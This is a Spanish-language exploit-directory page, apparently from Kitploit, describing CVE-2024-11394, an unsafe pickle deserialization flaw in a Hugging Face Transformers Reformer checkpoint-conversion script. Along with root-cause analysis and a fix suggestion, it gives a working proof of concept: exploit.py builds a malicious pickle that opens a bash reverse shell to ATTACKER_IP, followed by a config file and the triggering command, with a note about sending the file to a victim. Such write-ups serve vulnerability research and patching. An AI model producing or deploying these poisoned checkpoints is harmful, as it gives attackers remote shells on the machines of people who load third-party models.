Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-11394 — Detalles técnicos y exploit para CVE-2024-11394 | Kitploit
Herramientas/GitHubGitHub/piyush-bhor/cve-2024-11394
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónSeguridad de IA
GitHubpiyush-bhor/cve-2024-11394

CVE-2024-11394

Detalles técnicos y exploit para CVE-2024-11394

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-11394

Vulnerabilidad de ejecución remota de código por deserialización de datos no confiables en el modelo Trax de Hugging Face Transformers

Descripción general y efectos de la vulnerabilidad:
La vulnerabilidad permite a un atacante ejecutar código arbitrario en la máquina anfitriona al proporcionar un archivo de checkpoint reformer trax malicioso al script convert_reformer_trax_checkpoint_to_pytorch.py en el repositorio Hugging Face Transformers.
Si un usuario desprevenido utiliza un archivo de checkpoint reformer trax de terceros, la ejecución del script convert_reformer_trax_checkpoint_to_pytorch.py provocará una ejecución remota de código (RCE) en el sistema de la víctima.

El producto vulnerable

  • Producto: Hugging Face Transformers
  • Módulo: Reformer
  • Archivo: transformers/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
  • Versión: Última
  • Enlace permanente de GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
Descargar herramienta

Análisis de causa raíz

  • Descripción detallada de la vulnerabilidad: La vulnerabilidad resulta de la deserialización insegura de datos no confiables. El script utiliza pickle.load para cargar el archivo de checkpoint y es vulnerable a la ejecución de código.

  • Flujo de código desde la entrada hasta la condición vulnerable:

  1. El usuario descarga un modelo reformer trax de terceros.
  2. El usuario ejecuta el script convert_reformer_trax_checkpoint_to_pytorch.py y le pasa el archivo de checkpoint.
  3. El script convert_reformer_trax_checkpoint_to_pytorch.py deserializa el archivo de checkpoint y ejecuta el código malicioso.
  • Punto de inyección: La vulnerabilidad ocurre en el punto donde se llama a pickle.load.
    Enlace permanente de GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192

  • Sugerencias de corrección: Reemplazar pickle.load por yaml.safe_load(yaml_file) o json.load para evitar la ejecución de código arbitrario.

  • Instrucciones para ejecutar la prueba de concepto:

  1. Ejecutar exploit.py para crear un archivo pickle malicioso malicious.pkl que creará una shell inversa en el sistema de la víctima:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Malicious pickle file created successfully.")

Nota: Cambiar ATTACKER_IP y ATTACKER_PORT antes de enviar el archivo a la víctima.

  1. Crear un archivo de configuración config.json:
root@kitploit:~
{  
    "attention_head_size": 64,  
    "attention_probs_dropout_prob": 0.1,  
    "attn_layers": [  
      "local",  
      "lsh",  
      "local",  
      "lsh",  
      "local",  
      "lsh"  
    ],  
    "axial_norm_std": 1.0,  
    "axial_pos_embds": true,  
    "axial_pos_embds_dim": [  
      64,  
      960  
    ],  
    "axial_pos_shape": [  
      64,  
      64  
    ],  
    "chunk_size_lm_head": 0,  
    "classifier_dropout": null,  
    "eos_token_id": 2,  
    "feed_forward_size": 512,  
    "hash_seed": null,  
    "hidden_act": "relu",  
    "hidden_dropout_prob": 0.1,  
    "hidden_size": 1024,  
    "initializer_range": 0.02,  
    "is_decoder": true,  
    "layer_norm_eps": 1e-12,  
    "local_attention_probs_dropout_prob": 0.05,  
    "local_attn_chunk_length": 64,  
    "local_num_chunks_after": 0,  
    "local_num_chunks_before": 1,  
    "lsh_attention_probs_dropout_prob": 0.0,  
    "lsh_attn_chunk_length": 64,  
    "lsh_num_chunks_after": 0,  
    "lsh_num_chunks_before": 1,  
    "max_position_embeddings": 4096,  
    "model_type": "reformer",  
    "num_attention_heads": 16,  
    "num_buckets": null,  
    "num_hashes": 1,  
    "num_hidden_layers": 6,  
    "pad_token_id": 0,  
    "tie_word_embeddings": false,  
    "transformers_version": "4.42.4",  
    "type_vocab_size": 2,  
    "use_cache": true,  
    "vocab_size": 30522  
  }
  1. Ejecutar el script convert_reformer_trax_checkpoint_to_pytorch.py y pasar el archivo malicious.pkl a --trax_model_pkl_path:
root@kitploit:~
> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .

Nota: El pytorch_dump_folder_path puede configurarse como cualquier directorio.

Enlace de descarga del software:
https://github.com/huggingface/transformers/tree/main